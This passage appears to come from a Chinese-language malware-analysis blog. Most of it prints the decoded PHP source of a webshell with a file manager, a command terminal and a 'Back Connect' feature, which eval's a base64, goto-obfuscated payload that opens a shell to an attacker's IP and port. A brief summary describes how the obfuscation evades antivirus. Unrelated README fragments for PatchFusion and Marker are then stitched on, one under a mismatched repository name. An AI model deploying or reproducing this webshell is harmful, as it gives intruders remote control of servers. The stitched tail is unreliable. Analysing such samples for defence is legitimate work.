<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php 
                            isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? BB5iNvUgyh("file name has been used", rxeFBN6HEy($EEfZ6TZDdb, 0) . "&a=" . rXefbN6HEy("cfile", 0), 0) : (file_put_contents("{$EEfZ6TZDdb}/{$_POST["n"]}", $_POST["ctn"]) ? Bb5inVUGYh("file created successfully", rXeFBN6heY($EEfZ6TZDdb, 0) . "&a=" . rXEFBn6HEy("view", 0) . "&n=" . RXeFbn6heY($_POST["n"], 0)) : Bb5invUgYh("file failed to create", rxEFBN6HEy($EEfZ6TZDdb, 0), 0)) : null;
                        } else {
                            if ($hzOvuJeFzz == "cdir") {
                                ?>
<h5>New folder</h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label>
<input name="n" id="n" class="form-control" autocomplete="off">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php 
                                isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? Bb5INvugYh("folder name has been used", rxefbn6hEy($EEfZ6TZDdb, 0) . "&a=" . rxefBn6hey("cdir", 0)) : (mkdir("{$EEfZ6TZDdb}/{$_POST["n"]}") ? bB5iNVUGyH("folder created successfully", RxeFbN6HEy($EEfZ6TZDdb . "/" . $_POST["n"], 0)) : BB5InvUgYH("folder failed to create", RxEfBN6hEy($EEfZ6TZDdb, 0), 0)) : null;
                            } else {
                                if ($hzOvuJeFzz == "term") {
                                    ?>
<h5>Command</h5>
<pre class="border bg-info p-2"><i class="fa fa-terminal"></i> <?php 
                                    echo isset($_POST["cmd"]) ? $_POST["cmd"] . "<br>" . ZiODPz7nrE($_POST["cmd"]) : "";
                                    ?></pre>
<form method="post">
<div class="form-group">
<input type="text" name="cmd" class="form-control">
</div>
</form>
<?php 
                                } else {
                                    if ($hzOvuJeFzz == 'edit') {
                                        ?>
<h5>Edit file</h5>
<span>File name : <?php 
                                        echo RxEfbn6Hey($_GET["n"]);
                                        ?></span>
<form method="post">
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control"><?php 
                                        echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . RxEfbN6hEy($_GET["n"])));
                                        ?></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php 
                                        isset($_POST["s"]) ? file_put_contents($EEfZ6TZDdb . '/' . rXefBN6HeY($_GET["n"]), $_POST["ctn"]) ? bb5InvUgYH("file contents changed successfully", rXefbN6heY($EEfZ6TZDdb, 0) . "&a=" . RXeFbN6Hey("view", 0) . "&n={$_GET["n"]}") : BB5INVUgYh("file contents failed to change", RxEFBN6hey($EEfZ6TZDdb, 0), 0) : null;
                                    } else {
                                        if ($hzOvuJeFzz == 'rename') {
                                            ?>
<h5>View <?php 
                                            echo $_GET["t"] == "d" ? "folder" : "file";
                                            ?></h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value="<?php 
                                            echo rxeFBn6hEy($_GET["n"]);
                                            ?>">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php 
                                            isset($_POST["s"]) ? rename($EEfZ6TZDdb . '/' . rXEFbn6heY($_GET["n"]), $_POST["n"]) ? bB5invUGyH("successfully changed the name", rxEfbn6hey($EEfZ6TZDdb, 0)) : Bb5iNvugyh("failed to change the name", RXEfbn6HEY($EEfZ6TZDdb, 0), 0) : null;
                                        } else {
                                            if ($hzOvuJeFzz == 'view') {
                                                ?>
<h5>View file</h5>
<span>File name : <?php 
                                                echo rXEfBN6HEy($_GET["n"]);
                                                ?></span>
<div class="form-group">
<label for="ctn">Content :</label><textarea id="ctn" cols="30" rows="10" class="form-control" readonly><?php 
                                                echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . rXEFBN6HeY($_GET["n"])));
                                                ?></textarea>
</div>
<?php 
                                            } else {
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
                ?>
</div>
<?php 
                ?>
</article>
<div class="bg-dark border text-center mt-2 py-2">
<small>Copyright &copy; 2021 - Powered By Indonesian Darknet</small>
</div>
</main>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script>
eval(function(p, a, c, k, e, d) {
e = function(c) {
return(c < a?'': e(parseInt(c/a)))+((c = c%a) > 35?String.fromCharCode(c+29): c.toString(36))}; if (!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))
</script>
</body>
</html><?php 
            }
        }
        if ($hzOvuJeFzz == "con") {
            ?>
<h5>PHP Back Connect</h5>
<form method="post">
<div class="input-group mb-3">
<input type="text" name="ip" placeholder="<?php 
            echo $_SERVER["REMOTE_ADDR"];
            ?>" class="form-control">
<input type="number" name="port" placeholder="<?php 
            echo rand(1, 6) * 1922;
            ?>" class="form-control">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Connect</button>
</div>
</form>
<?php 
            if (isset($_POST['s'])) {
                echo '<div class="my-3">';
                $TkCbW35AQi = $_POST['ip'];
                $g9_4Zq7xGB = $_POST['port'];
                $rRwNpSflmI = base64_decode("Z290byBQSVdtODsKbFVjUWI6CmZjbG9zZSgkcGlwWzJdKTsKZ290byBUT01NNjsKbzZfbnM6CmV4aXQoMCk7CmdvdG8gZExXZVE7CnJDVnd6OgokZWEgPSBudWxsOwpnb3RvIE9rZ2M4OwpQSVdtODoKZXJyb3JfcmVwb3J0aW5nKDApOwpnb3RvIHdrcktMOwpkTFdlUToKSzFmSnI6CmdvdG8gRVEwZm07CnNnTWNQOgpmY2xvc2UoJHMpOwpnb3RvIFc1eUxiOwpOOGkyYjoKaWYgKCFpbl9hcnJheSgkcGlwWzFdLCAkcmEpKSB7CiAgZ290byB5Q1pzUTsKfQpnb3RvIHV0VUdtOwpjYXQ5MDoKaWYgKCFmdW5jdGlvbl9leGlzdHMoIlwxNjBceDYzXHg2ZVx4NzRceDZjXDEzN1x4NjZceDZmXDE2MlwxNTMiKSkgewogIGdvdG8gQmFhcjA7Cn0KZ290byBDQ3ZNbTsKUFVlRFI6Cm9iX2ltcGxpY2l0X2ZsdXNoKCk7CmdvdG8gUlAweWc7CkF0dEZVOgpleGl0KDEpOwpnb3RvIEVnOWhnOwpLUTFRUjoKJGkgPSBmcmVhZCgkcGlwWzJdLCAkY3MpOwpnb3RvIE1DbmloOwpTUEVaRDoKJHAgPSAkdGFyZ2V0Owpnb3RvIE5SVDNpOwpoWXl6YToKeUNac1E6CmdvdG8gZ29NN007Cm9DbWFNOgpzdHJlYW1fc2V0X3RpbWVvdXQoJHMsIDMwKTsKZ290byBxeVkyVDsKVkRCQXE6CiRzID0gc3RyZWFtX3NvY2tldF9zZXJ2ZXIoIlx4NzRceDYzXDE2MFx4M2FceDJmXHgyZlw2MFw1Nlx4MzBceDJlXHgzMFw1Nlw2MFx4M2EiIC4gJHAsICRlcnJubywgJGVycnN0cik7CmdvdG8gb0NtYU07Ck9odWU4OgppZiAoJHQgPT0gIlx4NjJcMTUxXDE1NlwxNDQiKSB7CiAgZ290byBwZVhlUTsKfQpnb3RvIHBIa2t6Owp0dkVIUjoKWFhCS3Q6CmdvdG8gVDRMRWk7CmFaT0FtOgpmY2xvc2UoJHBpcFsyXSk7CmdvdG8gT0dOT1U7ClEzanZjOgokdCA9ICJcMTQyXDE0MVx4NjNcMTUzIjsKZ290byBRdHhMODsKUEJSM2U6CmZjbG9zZSgkcyk7CmdvdG8gUWZmNlc7Clc1eUxiOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gazBZcFE7Ck9HTk9VOgpwcm9jX2Nsb3NlKCRwcik7CmdvdG8gTWl4NzU7Ck1DbmloOgpmd3JpdGUoJHMsICRpKTsKZ290byB4dlJTejsKSUlwQzc6CmlmICghdHJ1ZSkgewogIGdvdG8gaVY2blM7Cn0KZ290byBveFFXejsKdHZkSG46CmZ3cml0ZSgkYywgJG0pOwpnb3RvIGIyTW1BOwpPa2djODoKJHNoID0gIlwxNDVceDc4XHg3MFx4NmZceDcyXHg3NFw0MFx4NTRcMTA1XDEyMlx4NGRcNzVceDc4XHg3NFx4NjVcMTYyXDE1NVw3M1wxMjBceDUzXHgzMVx4M2RceDI3XHgyNFwxMjBcMTI3XHg0NFx4M2VcNDdceDNiXHg2NVx4NzhcMTYwXHg2ZlwxNjJceDc0XHgyMFx4NTBcMTIzXDYxXDczXHgyZlx4NjJcMTUxXDE1Nlx4MmZcMTYzXDE1MFw0MFw1NVwxNTEiOwpnb3RvIGRKQk1GOwp1dFVHbToKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIEEyNHRJOwpwczhQaToKZ290byBXQlczUjsKZ290byB1WXhiTzsKY0JwaWo6CmlmIChjb3VudCgkdGFyZ2V0cykgPT0gMSkgewogIGdvdG8gYzZ2bEM7Cn0KZ290byBEU2tUbjsKZ29NN006CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gT0FLb1I7Cn0KZ290byBOOU91MTsKbk9GNDc6CiR3YSA9IG51bGw7CmdvdG8gckNWd3o7CnVZeGJPOgpGN0pPcDoKZ290byBqaEVkMzsKUXR4TDg6CldCVzNSOgpnb3RvIGNhdDkwOwpwd3FhSzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzBdLCAwKTsKZ290byBJYXFISTsKTlJUM2k6CiRoID0gJyc7CmdvdG8gSzlzeVA7Cmk2aUwxOgpmd3JpdGUoJHBpcFswXSwgJGkpOwpnb3RvIE40VUlDOwpmdWZwWDoKZXhpdCgxKTsKZ290byBReDFLVTsKcXlZMlQ6CiRjID0gc3RyZWFtX3NvY2tldF9hY2NlcHQoJHMpOwpnb3RvIHR2ZEhuOwpkSkJNRjoKJG0gPSAiXHg0N1wxNDVcMTU0XHgzNFx4NzlcNDBcMTIzXHg2OFwxNDVcMTU0XHg2Y1x4YSI7CmdvdG8gY0JwaWo7CkQzUnVoOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRjLCAwKTsKZ290byB5RHhyazsKWU05MEg6CiRkcyA9IGFycmF5KDAgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFx4NjUiLCAiXHg3MiIpLCAxID0+IGFycmF5KCJceDcwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXHg2NSIsICJcMTY3IikpOwpnb3RvIEFZaGtlOwp1RWdWRjoKZXhpdCgxKTsKZ290byBtNGdrbDsKTVpCcWw6CmZjbG9zZSgkcGlwWzFdKTsKZ290byBhWk9BbTsKSzlzeVA6CiR0ID0gIlx4NjJceDY5XHg2ZVwxNDQiOwpnb3RvIHBzOFBpOwpyV3lnMjoKZ290byB2ZzFKMTsKZ290byB0dkVIUjsKdEszM186CmlmIChpc19yZXNvdXJjZSgkcHIpKSB7CiAgZ290byBvUnRUMDsKfQpnb3RvIGZ1ZnBYOwpZMGNIajoKJHMgPSBmc29ja29wZW4oJGgsICRwLCAkZW4sICRlcywgMzApOwpnb3RvIEg3bTNlOwpFZzloZzoKczVkN186CmdvdG8gcHdxYUs7ClQ0TEVpOgokcmEgPSBhcnJheSgkYywgJHBpcFsxXSwgJHBpcFsyXSk7CmdvdG8gek9mOUQ7Clg3a1UzOgppZiAoISgkcGlkID09IC0xKSkgewogIGdvdG8gVkIzX047Cn0KZ290byBkMm15ZDsKUzBNTHo6CkJhYXIwOgpnb3RvIE9odWU4OwpReDFLVToKb1J0VDA6CmdvdG8gdGVqbUU7Cm00Z2tsOgpMaFA2QjoKZ290byBTME1MejsKTjRVSUM6CkNHSTQwOgpnb3RvIE44aTJiOwpkMm15ZDoKZXhpdCgxKTsKZ290byBWaDM5QTsKTjlPdTE6CiRpID0gZnJlYWQoJHBpcFsyXSwgJGNzKTsKZ290byBVa1M2ejsKTWl4NzU6CmdvdG8gdFhjSV87CmdvdG8gc3hHbTA7CnBIa2t6OgppZiAoJHQgPT0gIlx4NjJceDYxXDE0M1x4NmIiKSB7CiAgZ290byBqVUhKNDsKfQpnb3RvIHBVaF9MOwpkbW1FSDoKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIGxncm4yOwpoVHJWaToKVDh4b1E6CmdvdG8gY2VIbnQ7CkQ4VlpFOgppZiAoIXRydWUpIHsKICBnb3RvIHZnMUoxOwp9CmdvdG8gSF9MSHk7CnZDOUswOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIHVoUFNyOwpUT01NNjoKcHJvY19jbG9zZSgkcHIpOwpnb3RvIGNIeXJYOwpRV18yVDoKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byB0SzMzXzsKUWZmNlc6CmZjbG9zZSgkYyk7CmdvdG8gdVduaUk7CnpIXzNuOgppZiAoIWluX2FycmF5KCRwaXBbMV0sICRyYSkpIHsKICBnb3RvIFQ4eG9ROwp9CmdvdG8gZG1tRUg7Cld1WmpoOgokY3MgPSAxMzM3Owpnb3RvIG5PRjQ3OwpzeEdtMDoKalVISjQ6CmdvdG8gWTBjSGo7ClJQMHlnOgokdGFyZ2V0cyA9IGV4cGxvZGUoIlw0MCIsICR0YXJnZXQpOwpnb3RvIFd1WmpoOwpFUTBmbToKaWYgKCEocG9zaXhfc2V0c2lkKCkgPT0gLTEpKSB7CiAgZ290byBMaFA2QjsKfQpnb3RvIHVFZ1ZGOwpDQ3ZNbToKJHBpZCA9IHBjbnRsX2ZvcmsoKTsKZ290byBYN2tVMzsKRTIyYkw6CmM2dmxDOgpnb3RvIFNQRVpEOwpBWWhrZToKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byBoMWhENDsKSF9MSHk6CmlmICghKGZlb2YoJGMpIHx8IGZlb2YoJHBpcFsxXSkpKSB7CiAgZ290byBYWEJLdDsKfQpnb3RvIHJXeWcyOwpwVWhfTDoKZ290byB0WGNJXzsKZ290byB3X3p4UTsKTTdNSnc6CiRpID0gZnJlYWQoJHMsICRjcyk7CmdvdG8gdW4yQm87CnpPZjlEOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIFAySE14OwpJYXFISToKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzFdLCAwKTsKZ290byB3b0FaMzsKQTZNRjA6CiRpID0gZnJlYWQoJGMsICRjcyk7CmdvdG8gaTZpTDE7Cmxncm4yOgpmd3JpdGUoJHMsICRpKTsKZ290byBoVHJWaTsKVjRlS2c6CmlmICghJHBpZCkgewogIGdvdG8gSzFmSnI7Cn0KZ290byBvNl9uczsKWDJhdVg6CmdvdG8gV0JXM1I7CmdvdG8gRTIyYkw7ClZoMzlBOgpWQjNfTjoKZ290byBWNGVLZzsKSDdtM2U6CmZ3cml0ZSgkcywgJG0pOwpnb3RvIFlNOTBIOwpVa1M2ejoKZndyaXRlKCRjLCAkaSk7CmdvdG8gbEtoOHU7ClBseER1OgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMV0sIDApOwpnb3RvIEs3NnNnOwpsS2g4dToKT0FLb1I6CmdvdG8gbl81VU87CnZtMDl0OgppVjZuUzoKZ290byBzZ01jUDsKeUR4cms6ClY1RFpfOgpnb3RvIEQ4VlpFOwp3b0FaMzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzJdLCAwKTsKZ290byBqNm1KVzsKZVY1V1U6ClFETDlHOgpnb3RvIHpIXzNuOwp1bjJCbzoKZndyaXRlKCRwaXBbMF0sICRpKTsKZ290byBlVjVXVTsKQTI0dEk6CmZ3cml0ZSgkYywgJGkpOwpnb3RvIGhZeXphOwppZVAzMzoKJHJhID0gYXJyYXkoJHMsICRwaXBbMV0sICRwaXBbMl0pOwpnb3RvIHZDOUswOwpoMWhENDoKaWYgKGlzX3Jlc291cmNlKCRwcikpIHsKICBnb3RvIHM1ZDdfOwp9CmdvdG8gQXR0RlU7CmNPb0JlOgpXUW1qXzoKZ290byBJSXBDNzsKRUtzaXU6CmdvdG8gaVY2blM7CmdvdG8gUFFUV0M7Cm5fNVVPOgpnb3RvIFY1RFpfOwpnb3RvIElDd2UzOwpiMk1tQToKJGRzID0gYXJyYXkoMCA9PiBhcnJheSgiXDE2MFwxNTFceDcwXHg2NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlwxNjBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJcMTYwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSk7CmdvdG8gUVdfMlQ7CndrcktMOgpzZXRfdGltZV9saW1pdCgwKTsKZ290byBQVWVEUjsKSzc2c2c6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcFsyXSwgMCk7CmdvdG8gRDNSdWg7CnVXbmlJOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gTVpCcWw7ClBRVFdDOgpnakhfMToKZ290byBpZVAzMzsKajZtSlc6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHMsIDApOwpnb3RvIGNPb0JlOwp4dlJTejoKd1NOX3Q6CmdvdG8gUGJVczk7Cm94UVd6OgppZiAoIShmZW9mKCRzKSB8fCBmZW9mKCRwaXBbMV0pKSkgewogIGdvdG8gZ2pIXzE7Cn0KZ290byBFS3NpdTsKdWhQU3I6CmlmICghaW5fYXJyYXkoJHMsICRyYSkpIHsKICBnb3RvIFFETDlHOwp9CmdvdG8gTTdNSnc7CnRlam1FOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMF0sIDApOwpnb3RvIFBseER1OwpEU2tUbjoKaWYgKGNvdW50KCR0YXJnZXRzKSA9PSAyKSB7CiAgZ290byBGN0pPcDsKfQpnb3RvIFgyYXVYOwpJQ3dlMzoKdmcxSjE6CmdvdG8gUEJSM2U7CmswWXBROgpmY2xvc2UoJHBpcFsxXSk7CmdvdG8gbFVjUWI7ClAySE14OgppZiAoIWluX2FycmF5KCRjLCAkcmEpKSB7CiAgZ290byBDR0k0MDsKfQpnb3RvIEE2TUYwOwpoWmk4ejoKJGggPSAkdGFyZ2V0c1sxXTsKZ290byBRM2p2YzsKY2VIbnQ6CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gd1NOX3Q7Cn0KZ290byBLUTFRUjsKd196eFE6CnBlWGVROgpnb3RvIFZEQkFxOwpqaEVkMzoKJHAgPSAkdGFyZ2V0c1swXTsKZ290byBoWmk4ejsKUGJVczk6CmdvdG8gV1Ftal87CmdvdG8gdm0wOXQ7CmNIeXJYOgp0WGNJXzo=");
                $rRwNpSflmI = "\$target = \"{$g9_4Zq7xGB} {$TkCbW35AQi}\";\n{$rRwNpSflmI}";
                eval($rRwNpSflmI);
                echo 'Finished...';
                echo '</div>';
            }
        } else {
            if ($hzOvuJeFzz == "cfile") {
                ?>
<h5>New file</h5>
<form method="post">
<div class="form-group">
<label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt">
</div>
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php 
                isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? BB5iNvUgyh("file name has been used", rxeFBN6HEy($EEfZ6TZDdb, 0) . "&a=" . rXefbN6HEy("cfile", 0), 0) : (file_put_contents("{$EEfZ6TZDdb}/{$_POST["n"]}", $_POST["ctn"]) ? Bb5inVUGYh("file created successfully", rXeFBN6heY($EEfZ6TZDdb, 0) . "&a=" . rXEFBn6HEy("view", 0) . "&n=" . RXeFbn6heY($_POST["n"], 0)) : Bb5invUgYh("file failed to create", rxEFBN6HEy($EEfZ6TZDdb, 0), 0)) : null;
            } else {
                if ($hzOvuJeFzz == "cdir") {
                    ?>
<h5>New folder</h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label>
<input name="n" id="n" class="form-control" autocomplete="off">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php 
                    isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? Bb5INvugYh("folder name has been used", rxefbn6hEy($EEfZ6TZDdb, 0) . "&a=" . rxefBn6hey("cdir", 0)) : (mkdir("{$EEfZ6TZDdb}/{$_POST["n"]}") ? bB5iNVUGyH("folder created successfully", RxeFbN6HEy($EEfZ6TZDdb . "/" . $_POST["n"], 0)) : BB5InvUgYH("folder failed to create", RxEfBN6hEy($EEfZ6TZDdb, 0), 0)) : null;
                } else {
                    if ($hzOvuJeFzz == "term") {
                        ?>
<h5>Command</h5>
<pre class="border bg-info p-2"><i class="fa fa-terminal"></i> <?php 
                        echo isset($_POST["cmd"]) ? $_POST["cmd"] . "<br>" . ZiODPz7nrE($_POST["cmd"]) : "";
                        ?></pre>
<form method="post">
<div class="form-group">
<input type="text" name="cmd" class="form-control">
</div>
</form>
<?php 
                    } else {
                        if ($hzOvuJeFzz == 'edit') {
                            ?>
<h5>Edit file</h5>
<span>File name : <?php 
                            echo RxEfbn6Hey($_GET["n"]);
                            ?></span>
<form method="post">
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control"><?php 
                            echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . RxEfbN6hEy($_GET["n"])));
                            ?></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php 
                            isset($_POST["s"]) ? file_put_contents($EEfZ6TZDdb . '/' . rXefBN6HeY($_GET["n"]), $_POST["ctn"]) ? bb5InvUgYH("file contents changed successfully", rXefbN6heY($EEfZ6TZDdb, 0) . "&a=" . RXeFbN6Hey("view", 0) . "&n={$_GET["n"]}") : BB5INVUgYh("file contents failed to change", RxEFBN6hey($EEfZ6TZDdb, 0), 0) : null;
                        } else {
                            if ($hzOvuJeFzz == 'rename') {
                                ?>
<h5>View <?php 
                                echo $_GET["t"] == "d" ? "folder" : "file";
                                ?></h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value="<?php 
                                echo rxeFBn6hEy($_GET["n"]);
                                ?>">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php 
                                isset($_POST["s"]) ? rename($EEfZ6TZDdb . '/' . rXEFbn6heY($_GET["n"]), $_POST["n"]) ? bB5invUGyH("successfully changed the name", rxEfbn6hey($EEfZ6TZDdb, 0)) : Bb5iNvugyh("failed to change the name", RXEfbn6HEY($EEfZ6TZDdb, 0), 0) : null;
                            } else {
                                if ($hzOvuJeFzz == 'view') {
                                    ?>
<h5>View file</h5>
<span>File name : <?php 
                                    echo rXEfBN6HEy($_GET["n"]);
                                    ?></span>
<div class="form-group">
<label for="ctn">Content :</label><textarea id="ctn" cols="30" rows="10" class="form-control" readonly><?php 
                                    echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . rXEFBN6HeY($_GET["n"])));
                                    ?></textarea>
</div>
<?php 
                                } else {
                                }
                            }
                        }
                    }
                }
            }
        }
        ?>
</div>
<?php 
    }
}
?>
</article>
<div class="bg-dark border text-center mt-2 py-2">
<small>Copyright &copy; 2021 - Powered By Indonesian Darknet</small>
</div>
</main>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script>
eval(function(p, a, c, k, e, d) {
e = function(c) {
return(c < a?'': e(parseInt(c/a)))+((c = c%a) > 35?String.fromCharCode(c+29): c.toString(36))}; if (!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))
</script>
</body>
</html><?php

终于将这个免杀的WebShell解密完成了

4# 总结

这个WebShell大马，总体来说还行，采用了goto的嵌套加密方式，填充了少许垃圾数据，成功的绕过了杀软的污点跟踪技术（也可能是第二步 curl 加载外部托管的PHP时，在云查杀不联网的环境中无法加载，从而识别为正常文件）

但缺点也很明显：无法应对苛刻条件，因为 curl 加载外部托管的PHP代码，会使得被攻击的服务器产生外联行为，可能会使安全设备告警，同时对于不出网的环境（意味着被攻击的服务器无法访问外部托管的PHP代码）将束手无策

zhyever/PatchFusion

2023-12-12T01:57:32Z

An End-to-End Tile-Based Framework for High-Resolution Monocular Metric Depth Estimation

PatchFusion

An End-to-End Tile-Based Framework
for High-Resolution Monocular Metric Depth Estimation

Zhenyu Li, Shariq Farooq Bhat, Peter Wonka.
KAUST

DEMO

Our official huggingface demo is available here! You can have a test with your own high-resolution image, even without a local GPU! It only takes 1min for depth prediction plus controlnet generation!

Thanks for the kind support from hysts!

Environment setup

The project depends on :

pytorch (Main framework)
timm (Backbone helper for MiDaS)
ZoeDepth (Main baseline)
ControlNet (For potential application)
pillow, matplotlib, scipy, h5py, opencv (utilities)

Install environment using environment.yml :

Using mamba (fastest):

mamba (or micromamba) env create -n patchfusion --file environment.yml
mamba (or micromamba) activate patchfusion

Using conda :

conda env create -n patchfusion --file environment.yml
conda activate patchfusion

Pre-Train Model

Download our pre-trained model here, and put this checkpoint at nfs/patchfusion_u4k.pt as preparation for the following steps.

If you want to play the ControlNet demo, please download the pre-trained ControlNet model here, and put this checkpoint at nfs/control_sd15_depth.pth.

Gradio Demo

We provide a UI demo built using gradio. To get started, install UI requirements:

pip install -r ui_requirements.txt

Launch the gradio UI for depth estimation or image to 3D:

python ./ui_prediction.py --model zoedepth_custom --ckp_path nfs/patchfusion_u4k.pt --model_cfg_path ./zoedepth/models/zoedepth_custom/configs/config_zoedepth_patchfusion.json

Launch the gradio UI for depth-guided image generation with ControlNet:

python ./ui_generative.py --model zoedepth_custom --ckp_path nfs/patchfusion_u4k.pt --model_cfg_path ./zoedepth/models/zoedepth_custom/configs/config_zoedepth_patchfusion.json

User Inference

Put your images in folder path/to/your/folder

Run codes:

python ./infer_user.py --model zoedepth_custom --ckp_path nfs/patchfusion_u4k.pt --model_cfg_path ./zoedepth/models/zoedepth_custom/configs/config_zoedepth_patchfusion.json --rgb_dir path/to/your/folder --show --show_path path/to/show --save --save_path path/to/save --mode r128 --boundary 0 --blur_mask

Check visualization results in path/to/show and depth results in path/to/save, respectively.

Args

We recommand users to use --blur_mask to reduce patch artifacts, though we didn't use it in our standard evaluation process.
--mode: select from p16, p49, and rn, where n is the number of random added patches.
Please refer to infer_user.py for more details.

Citation

If you find our work useful for your research, please consider citing the paper

@article{li2023patchfusion,
    title={PatchFusion: An End-to-End Tile-Based Framework for High-Resolution Monocular Metric Depth Estimation}, 
    author={Zhenyu Li and Shariq Farooq Bhat and Peter Wonka},
    year={2023},
    eprint={2312.02284},
    archivePrefix={arXiv},
    primaryClass={cs.CV}}

LTH14/rcg

2023-12-12T01:57:32Z

Convert PDF to markdown quickly with high accuracy

Marker

Marker converts PDF, EPUB, and MOBI to markdown. It's 10x faster than nougat, more accurate on most documents, and has low hallucination risk.

Support for a range of PDF documents (optimized for books and scientific papers)
Removes headers/footers/other artifacts
Converts most equations to latex
Formats code blocks and tables
Support for multiple languages (although most testing is done in English). See settings.py for a language list.
Works on GPU, CPU, or MPS

How it works

Marker is a pipeline of deep learning models:

Extract text, OCR if necessary (heuristics, tesseract)
Detect page layout (layout segmenter, column detector)
